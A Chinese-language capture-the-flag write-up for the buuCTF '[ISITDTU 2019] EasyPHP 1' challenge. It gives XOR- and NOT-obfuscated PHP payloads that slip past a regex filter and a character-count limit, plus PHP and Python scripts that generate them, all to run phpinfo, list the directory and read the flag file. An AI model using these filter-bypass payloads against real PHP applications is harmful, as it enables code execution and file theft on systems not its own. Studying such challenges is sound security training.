buuCTF [ISITDTU 2019]EasyPHP 1

2023-11-13

buuCTF [ISITDTU 2019]EasyPHP 1

在这里插入图片描述

直接代码审计。
第一个if,过preg_match。一般有三种方法:取反绕过,异或绕过,转义绕过。
这里用取反绕过。

第二个if的意思是输入的字符串不重复的字符长度不超过0xd即13。如aaa((bc不重复字符为a(bc长度为4。

尝试phpinfo:

?_=(%ff%ff%ff%ff%ff%ff%ff^%8f%97%8f%96%91%99%90)();

在这里插入图片描述

可以去看看disable_function禁了哪些函数。
附上异或php脚本:

<?php

#用不可见字符异或
$l = "";
$r = "";
//$argv = str_split("_GET");
$argv = str_split("phpinfo");
for($i=0;$i<count($argv);$i++)
{
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);
        if($k == $argv[$i]){
            if($j<16){
                $l .= "%ff";
                $r .= "%0" . dechex($j);
                continue;
            }
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "(".$l."^".$r.")";
#{%ff%ff%ff%ff^%a0%b8%ba%ab}       =_GET
#?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?>

可用scandir(.)读取目录,用var_dump或print_r打印出来。
这题的第二个if非常恶心。
直接用异或出来的是过不了的:
print_r(scandir(.));

(%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d)((%ff%ff%ff%ff%ff%ff%ff^%8c%9c%9e%91%9b%96%8d)((%ff^%d1)));

在这里插入图片描述
这里的不重复字符是16个,超过13。
解决思路是在这16个不重复字符里删减一些,删减的字符用其他字符异或来表示。
主要是和%ff异或的那些字符串。其他都是固定的。
payload:

((%ff%ff%ff%ff%ff%ff%ff)^(%8b%9c%9b%8b%8b%8b%9c)^(%8b%8f%9c%8b%9b%8b%8f)^(%8f%9e%91%91%9b%a0%9e))(((%8b%8b%8b%8b%8b%9b%9c)^(%9b%8b%8b%8b%8b%9c%8f)^(%9c%9c%9e%91%9b%91%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

在这里插入图片描述
附上我自己写的脚本
获取不重复字符的对应ascii码:

a = '%8d%9a%9e%9b%99%96%93%9a%9a%91%9b%8c%9c%9e%91%9b%96%8d'
b = a[1:].split('%')
# print(b)
c = []
for i in b:
    d = int(i,16)
    if d not in c:
        c.append(d)
print(len(c),c)

删减一些ascii减少不重复字符以及直接替换原来的payload:

# result2 = [139, 155, 160, 156, 143, 145, 158, 209, 150, 141, 140]  #这是不重复的字符。例如%8f%8d%96%91%8b%a0%8d %8c%9c%9e%91%9b%96%8d中 不重复的有11个,对应他们的ascii码
result2 = [141, 154, 158, 155, 153, 150, 147, 145, 140, 156]
# result = [139, 155, 160, 156, 143, 145, 158, 209]# 一个一个增加直到len(temp)==11
result = [141, 154, 158, 155, 153, 150]
temp = []
res ={}
print('a^b^c=d')
for d in result2:
    j=0
    for a in result:
        k=0
        if j == 1:
            break
        for b in result:
            if k==1:
                break
            for c in result:
                if (a ^ b ^ c == d):
                    if a == b == c == d:
                        continue
                    else:
                        print("a=%d,b=%d,c=%d,d=%d" % (a, b, c, d))
                        if d not in temp:
                            temp.append(d)
                            res.update({d:'{} {} {}'.format(a,b,c)})
                        j=1
                        k=1
                        break
print('temp长度:',len(temp),'\n',temp,'\n')
# print(res,'\n')

def payload(s):
    p1=''
    p2=''
    p3=''
    a = s[1:].split('%')
    for i in a:
        b = (int(i,16))
        p1 += '%'+hex(int(res[b][:3]))[2:]
        p2 += '%'+hex(int(res[b][4:7]))[2:]
        p3 += '%'+hex(int(res[b][8:11]))[2:]
    print("({})^({})^({})^({})".format(p1,p2,p3,'%ff'*(int(len(p1)/3))))
# print_r(scandir(.));
# ((%ff%ff%ff%ff%ff%ff%ff)^(%8b%9c%9b%8b%8b%8b%9c)^(%8b%8f%9c%8b%9b%8b%8f)^(%8f%9e%91%91%9b%a0%9e))(((%8b%8b%8b%8b%8b%9b%9c)^(%9b%8b%8b%8b%8b%9c%8f)^(%9c%9c%9e%91%9b%91%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
# (%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d)((%ff%ff%ff%ff%ff%ff%ff^%8c%9c%9e%91%9b%96%8d)((%ff^%d1)));

#readfile(end(scandir(.)));
# print('print_r:')
# payload('%8f%8d%96%91%8b%a0%8d')
# print('scandir:')
# payload('%8c%9c%9e%91%9b%96%8d')

#readfile(end(scandir(.)));
#(%ff%ff%ff%ff%ff%ff%ff%ff^%8d%9a%9e%9b%99%96%93%9a)((%ff%ff%ff^%9a%91%9b)((%ff%ff%ff%ff%ff%ff%ff^%8c%9c%9e%91%9b%96%8d)(%d1^%ff)));
# ((%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%8d%9e%8d)^(%8d%99%8d)^(%9a%96%9b)^(%ff%ff%ff))(((%8d%9e%8d%9e%8d%8d%8d)^(%9a%9b%8d%99%8d%8d%9a)^(%9b%99%9e%96%9b%96%9a)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
print('readfile:')
payload('%8d%9a%9e%9b%99%96%93%9a')
print('end:')
payload('%9a%91%9b')
print('scandir:')
payload('%8c%9c%9e%91%9b%96%8d')

用的是a^b^c=d,把a^b^c替换原来的d,再和%ff异或。
即原来的d^%ff = a^b^c^%ff
这样就减少了不重复的字符。
知道flag在n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt
但是太长了肯定报错。
因为文件在数组最后,所以可以用end()转移指针到最后然后输出,输出用readfile()或show_source()。我用的是readfile()。
payload:
readfile(end(scandir(.)));

((%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%8d%9e%8d)^(%8d%99%8d)^(%9a%96%9b)^(%ff%ff%ff))(((%8d%9e%8d%9e%8d%8d%8d)^(%9a%9b%8d%99%8d%8d%9a)^(%9b%99%9e%96%9b%96%9a)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

buuCTF [ISITDTU 2019]EasyPHP 1 的相关文章

  • buuctf [强网杯 2019]随便注 1

    buuctf web 强网杯 2019 随便注 1 刷题个人日记 小白一个 写给自己看 打开后是这样 从题目和内容来看就是一道sql注入题 输入 1 or 1 1 这个 用来注释掉后面的sql语句 显示所有数据 这个数据有什么用我也不知道
  • [西湖论剑2021中国杭州网络安全技能大赛]Yusa的秘密 writeup

    西湖论剑2021 Yusa的秘密 Sakura组织即将进攻地球 此时你意外得到了该组织内某个成员的电脑文件 你能从中发现本次阴谋所用的关键道具吗 注 题目中包含了五个彩蛋 且彩蛋对解题本身没有任何影响 快去发现吧 附件 Who am I z
  • 看完这篇 教你玩转渗透测试靶机vulnhub——BossplayersCTF

    Vulnhub靶机BBossplayersCTF渗透测试详解 Vulnhub靶机介绍 Vulnhub靶机下载 Vulnhub靶机安装 Vulnhub靶机漏洞详解 信息收集 命令执行漏洞 反弹shell suid提权 获取flag Vulnh
  • BUUCTF base 第三题Upload-Labs-Linux1比较省事的方法

    1 安装蚁剑 首先下载蚁剑 链接 https pan baidu com s 1O6Ty2Qmk7AVuY9QU CD9gQ fm lk0 提取码 1234 其次解压蚁剑 共两个文件需解压 在AntSword Loader中双击运行 gt
  • 再探ROP(下)

    文章目录 0x01 概述 0x02 ret2reg 2 1 起因 2 2 原理 0x03 brop详解 3 1 概述 3 2 逆向思维切入 1 搭建环境 2 溢出长度和爆破canary 3 如何getshell 4 寻找直接条件 5 寻找间
  • BUUCTF[强网杯 2019]随便注 的三种解法

    文章目录 尝试注入 解题思路1 解题思路2 解题思路3 知识点总结 打开后题目是这样的 尝试注入 1 测试 1 or 1 1 初步判定存在SQL注入 1 or 1 1 再测试字段数 到3时报错 说明字段数为2 1 order by 1 接着
  • [CTF/网络安全] 攻防世界 disabled_button 解题详析

    CTF 网络安全 攻防世界 disabled button 解题详析 input标签 姿势 disable属性 总结 题目描述 X老师今天上课讲了前端知识 然后给了大家一个不能按的按钮 小宁惊奇地发现这个按钮按不下去 到底怎么才能按下去呢
  • CTF MISC解题思路BUUCTF MISC9-16刷题

    1 文件中的秘密 查看文件属性备注 flag 870c5a72806115cb5439345d8b014396 2 wireshark 使用wireshark打开文件 菜单 编辑 查找分组 搜索关键字flag 在数据包中找到flag 3 L
  • ctfshow---sql注入(214-253)

    目录 web214 web215 web216 web217 web218 web219 web220 web221 web222 web223 web224 web225 web226 web227 web228 229 230 web2
  • [BDSec CTF 2022] 部分WP

    组队参加了个国外的小线上赛 题目比较简单 目录 PWN pwnrace Reverse BDSec License Checker 0x1 shashdot Flag Box Simple Math Poster BDSec License
  • 攻防世界web---新手练习区

    查看网页源代码 根据提示 查看网页源代码 发生了什么 鼠标右键不管用了 F12看到了什么 哈哈哈哈哈 robots协议 也太简单了吧哈哈哈 备份文件 打开御剑扫描后台 cookie 没什么发现 抓包看看 看看cookie php 看http
  • 二进制安全虚拟机Protostar靶场 安装,基础知识讲解,破解STACK ZERO

    简介 pwn是ctf比赛的方向之一 也是门槛最高的 学pwn前需要很多知识 这里建议先去在某宝上买一本汇编语言第四版 看完之后学一下python和c语言 python推荐看油管FreeCodeCamp的教程 c语言也是 pwn题目大部分是破
  • disabled_button 攻防世界

    1 第一步还是看题目 重要知识点 按钮按不下去 前端知识 例如下面的代码
  • BUUCTF [极客大挑战 2019]Knife

    打开一看结合题目 就是连接一下菜刀蚁剑 菜刀没用过只有蚁剑 下面用蚁剑实现 设置好URL和链接密码 找到flag文件 打开后找到flag 文件上传漏洞 一句话木马 php Asp Aspx 前端判断文件后缀名可以Burp Suite配置好P
  • web做题记录(buuoj,jarvis,攻防世界,bugku,hackme)

    web做题笔记 文章目录 web做题笔记 buuoj easy tornado 随便注 warmup easysql 高明的黑客 jarvisoj re flag在管理员手上 api调用 chopper 图片上传漏洞 inject web
  • Bugku题目Reverse逆向部分wp(持续更新)

    目录 入门逆向 Easy Re 游戏过关 sign in Easy vb Next 入门逆向 题目链接 丢入DIE PEID看过 没有壳 32位 直接IDA 汇编代码直接看到 flag Re 1s S0 C0OL Easy Re 题目链接
  • GET报错注入(Sqli-labs第一题详解)

    文章目录 一 找注入点 二 order by判断列数 三 union联合注入 判断数据显示点 四 爆库 爆表 一 找注入点 单引号注入题目 在参数后面加一个单引号 id 1 数据库报错 单引号匹配出错 即添加的单引号成功被数据库解析 可以通
  • [SHCTF 2023]——week1-week3 Web方向详细Writeup

    Week1 babyRCE 源码如下
  • pwn入门:基本栈溢出之ret2libc详解(以32位+64位程序为例)

    目录 写在开头 题目简介 解题思路 前置知识 简要了解 plt表和got表 延迟绑定 例题详解 32位 64位 总结与思考 写在开头 这篇博客早就想写了 但由于近期事情较多 一直懒得动笔 近期被领导派去临时给合作单位当讲师 要给零基础的学员
  • BugKu-Web-滑稽

    题目环境 持续的动态图片 F12审查元素 拿下flag flag 595d994a34342417bfc3a3c3a23e0a48

随机推荐

  • 【学习笔记】rabbitmq设置队列ttl和使用延迟插件的代码示例

    文章目录 设置队列ttl 配置文件 生产者 消费者 设置消息ttl 延迟插件的使用 修改配置文件 修改生产者 修改消费者 设置队列ttl 代码架构 创建两个队列QA和QB 两者队列TTL分别设置为10S和40S 然后在创建一个交换机X和死信
  • 阿里P8大神讲解——Java,JVM内存模型

    在Java程序界流行着一种默认的说法叫 黄金5年 也就是一个程序员从入职的时间开始算起 前五年的选择直接影响着整个职业生涯发展方向和薪资走向 如何走好这5年很关键 如何彻底从一个菜鸟蜕变成 可以以不变应万变的职业大牛 这是一个涉及到自身专业
  • 朋友去华为面试,轻松拿到26K的Offer,羡慕了......

    最近有朋友去华为面试 面试前后进行了20天左右 包含4轮电话面试 1轮笔试 1轮主管视频面试 1轮hr视频面试 据他所说 80 的人都会栽在第一轮面试 要不是他面试前做足准备 估计都坚持不完后面几轮面试 其实 第一轮的电话面试除了一些常规的
  • 【电气专业知识问答】问:在何种事故情况下应立即停用电动机?

    电气专业知识问答 问 在何种事故情况下应立即停用电动机 答 1 发生危急人身安全情况 需要立即停用电动机的 2 电动机所带机械设备损坏至危险程度时 3 电动机起火冒烟 4 电动机强烈振动 窜轴或内部发生定 转子碰擦 5 电动机缺相运行 6
  • C#读写各类文件合集

    C 文件操作合集 一 利用字节流与文件流读写txt json文件 1 以文件的方式进行操作 2 以文件流的方式进行读写 3 以二进制数据流的方式进行读写 4 以文本流的方式进行读写 5 JOSN文件的读写 二 kernel32读写ini文件
  • 【论文笔记】疯狂的检测工具 —— 静态分析工具

    本文目标 精度论文 CryptoGuard High Precision Detection of Cryptographic Vulnerabilities in Massive sized Java Projects 主要针对大规模的
  • 【Pytorch Lighting】第 9 章:部署和评分模型

    大家好 我是Sonhhxg 柒 希望你看完之后 能对你有所帮助 不足请指正 共同学习交流 个人主页 Sonhhxg 柒的博客 CSDN博客 欢迎各位 点赞 收藏 留言 系列专栏 机器学习 ML 自然语言处理 NLP 深度学习 DL fore
  • Win10系统安装使用H3C HCL实验室(最新版)方法

    如果安装了wsl2虚拟机的 首先参照此教程将wsl版本降为1 https blog csdn net qq 26123545 article details 120169070 spm 1001 2014 3001 5501 如果之前的HC
  • CMake编译.dll并使用开源库SDE

    目录 环境 项目修改 编译 dll文件并确保它能正常使用 测试使用 dll文件 文件下载链接 环境 本篇博客所要做的是 Win10环境使用CMake编译一个开源C 库 这个库所有 h头文件和 cpp源文件都有了 将这个库编译为动态链接库 d
  • armbian安装图形桌面_Linux桌面环境(桌面系统)大比拼「附带优缺点」

    早期的 Linux 系统都是不带界面的 只能通过命令来管理 比如运行程序 编辑文档 删除文件等 所以 要想熟练使用 Linux 就必须记忆很多命令 后来随着 Windows 的普及 计算机界面变得越来越漂亮 点点鼠标就能完成很多工作 人们已
  • x86-64 汇编基础 ---- 记读 《CS: APP》

    x86 64 汇编基础 记读 CS APP 通常情况下 使用现代的优化编译器产生的代码至少与一个熟练的汇编语言程序员手工编写的代码一样有效 1 看懂汇编码 1 汇编码的格式 ATT格式 这是GCC OBJDUMP和其它一些工具的常用格式 由
  • 推荐系统实战2——EasyRec 推荐框架环境配置

    推荐系统实战2 EasyRec 推荐框架环境配置 学习前言 先验条件 EasyRec仓库地址 EasyRec环境配置 一 EasyRec的下载 二 EasyRec的初始化 三 EasyRec的安装 四 一些额外的情况 学习前言 EasyRe
  • opencv 读取NV12格式(.yuv)文件,并转为RGB格式保存为JPG

    实测代码如下 include
  • OpenStack的搭建与使用

    初次接触open stack与Linux 如有错误与可改进的地方 恳请指出 一 搭建 一 配置推荐 系统 镜像 内存 储存 Linux centos7 6 16G 100G 二 前期准备 1 开启虚拟化 图2 1 开启虚拟化 2 关闭防火墙
  • C语言典型例题四——斐波那契数列

    Fibonacci 斐波那契 数列 求斐波那契数列的前40个数 这个数列有个特点 第1 2两个数为1 1 从第三个数开始 该数是其前面两个数之合 即该数列为1 1 2 3 5 8 13 这是一个有趣的古典数学问题 有一对兔子 从出生后第三个
  • python 在Excel中新增一列

    1 在Excel中定义新列 定义新列需要用到columns tolist 函数 具体代码如下 col name df columns tolist col name insert 新列位置 新列名称 wb df reindex column
  • Log4j2源码分析系列:(一)配置加载

    在实际开发项目中 日志永远是一个绕不开的话题 本系列文章试图以slf4j和log4j2日志体系为例 从源码角度分析日志工作原理 学习日志框架 首先要熟悉各类日志框架 这里推荐两篇文章 就不再赘述了 https www cnblogs com
  • C——选择结构

    选择结构 1 关系运算与逻辑运算 1 1 关系运算 1 2 逻辑运算 2 if语句 2 1 单分支的if语句 2 2 双分支的if语句 3 条件运算符 4 switch语句 1 关系运算与逻辑运算 C语言中的逻辑值 C语言将 非0 值当做值
  • buuCTF [ISITDTU 2019]EasyPHP 1

    buuCTF ISITDTU 2019 EasyPHP 1 直接代码审计 第一个if 过preg match 一般有三种方法 取反绕过 异或绕过 转义绕过 这里用取反绕过 第二个if的意思是输入的字符串不重复的字符长度不超过0xd即13 如
  • select 模型解释

    套接字模式 阻塞套接字和非阻塞套接字 或者叫同步套接字和异步套接字 套接字模型 描述如何对套接字的I O行为进行管理 Winsock提供的I O模型一共有五种 select WSAAsyncSelect WSAEventSelect Ove